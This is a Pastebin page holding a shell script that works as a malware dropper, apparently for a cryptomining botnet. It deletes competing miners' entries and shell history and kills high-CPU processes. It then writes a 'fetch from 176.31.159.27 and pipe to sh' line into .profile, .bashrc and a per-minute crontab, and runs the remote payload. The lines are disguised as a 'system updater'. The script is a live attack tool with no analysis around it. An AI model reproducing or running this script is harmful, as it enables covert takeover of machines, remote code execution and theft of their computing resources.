Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/sh
- ulimit -n 65535
- rm -f /etc/ld.so.preload
- DOWNLOAD_METHOD="unknown"
- DOWNLOADER="unknown"
- SYSTEM_ADMIN_HOST="176.31.159.27"
- SYSTEM_ADMIN_CONFIG="system_manager.sh"
- SYSTEM_TYPE=$(uname)
- SYSTEM_ARCH=$(uname -m)
- HAS_BUSYBOX=FALSE
- sed -i '/miner/d' .profile
- sed -i '/miner/d' .bashrc
- sed -i '/wget/d' .profile
- sed -i '/curl/d' .profile
- sed -i '/curl/d' .bashrc
- sed -i '/wget/d' .bashrc
- crontab -r
- killall -9 .admin_thread
- unset_history()
- {
- unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH > /dev/null 2>&1
- history -n > /dev/null 2>&1
- export HISTFILE=/dev/null > /dev/null 2>&1
- export HISTSIZE=0 > /dev/null 2>&1
- export HISTFILESIZE=0 > /dev/null 2>&1
- if [ -s $HOME/.bash_history ]
- then
- rm $HOME/.bash_history > /dev/null 2>&1
- ln -sf /dev/null $HOME/.bash_history > /dev/null 2>&1
- fi
- }
- determine_download_method()
- {
- if [ -s /usr/bin/tftp ]
- then
- DOWNLOAD_METHOD="tftp"
- DOWNLOADER="$DOWNLOAD_METHOD -g $SYSTEM_ADMIN_CONFIG -l- -r $SYSTEM_ADMIN_HOST"
- fi
- if [ -s /usr/bin/curl ]
- then
- DOWNLOAD_METHOD="curl"
- DOWNLOADER="$DOWNLOAD_METHOD http://$SYSTEM_ADMIN_HOST/$SYSTEM_ADMIN_CONFIG"
- fi
- if [ -s /usr/bin/wget ]
- then
- DOWNLOAD_METHOD="wget"
- DOWNLOADER="$DOWNLOAD_METHOD http://$SYSTEM_ADMIN_HOST/$SYSTEM_ADMIN_CONFIG -O-"
- fi
- return
- }
- unset_history
- determine_download_method
- #echo "Using method [$DOWNLOAD_METHOD]"
- #echo "Downloader [$DOWNLOADER]"
- #echo "Arch type [$SYSTEM_ARCH]"
- #echo "Device type [$SYSTEM_TYPE]"
- VAR=$(ps uwx|awk '{print $2":"$3}'| grep -v CPU)
- for word in $VAR
- do
- CPUUSAGE=$(echo $word|awk -F":" '{print $2}'|awk -F"." '{ print $1}')
- if [ $CPUUSAGE -gt 55 ]
- then
- echo BIG $word
- PID=$(echo $word | awk -F":" '{print $1'})
- LINE=$(ps uwx | grep $PID)
- COUNT=$(echo $LINE| grep -P "|wget|curl|ssh|manager"|wc -l)
- if [ $COUNT -eq 0 ]
- then
- echo Skipping $line
- fi
- echo KILLING $line
- kill $PID
- fi
- done
- (cat $HOME/.profile | grep -e "$DOWNLOADER" | grep -v grep) > /dev/null 2>&1
- if [ $? -eq 0 ]
- then
- echo "system manager already active in profile!"
- else
- (
- echo "# System updater below"
- echo "$DOWNLOADER | sh & 2> /dev/null"
- ) >> $HOME/.profile
- echo "Added system manager to profile for future updates!"
- fi
- (cat $HOME/.bashrc | grep -e "$DOWNLOADER" | grep -v grep) > /dev/null 2>&1
- if [ $? -eq 0 ]
- then
- echo "system manager already active in bashrc!"
- else
- (
- echo "# System updater below"
- echo "$DOWNLOADER | sh & 2> /dev/null"
- ) >> $HOME/.bashrc
- echo "Added system manager to bashrc for future updates!"
- fi
- (crontab -l | grep -e "$DOWNLOADER" | grep -v grep) > /dev/null 2>&1
- if [ $? -eq 0 ]
- then
- echo "system manager already active in crontab!"
- else
- (
- crontab -r
- echo "* * * * * $DOWNLOADER | sh > /dev/null"
- ) | crontab -
- echo "Added system manager to crontab for future updates!"
- fi
- $DOWNLOADER | sh &
- (ps aux | grep -e ".watchdog" | grep -v grep) > /dev/null 2>&1
- if [ $? -eq 0 ]
- then
- echo "System manager running!"
- else
- echo "System manager not running"
- $DOWNLOADER | sh &
- fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement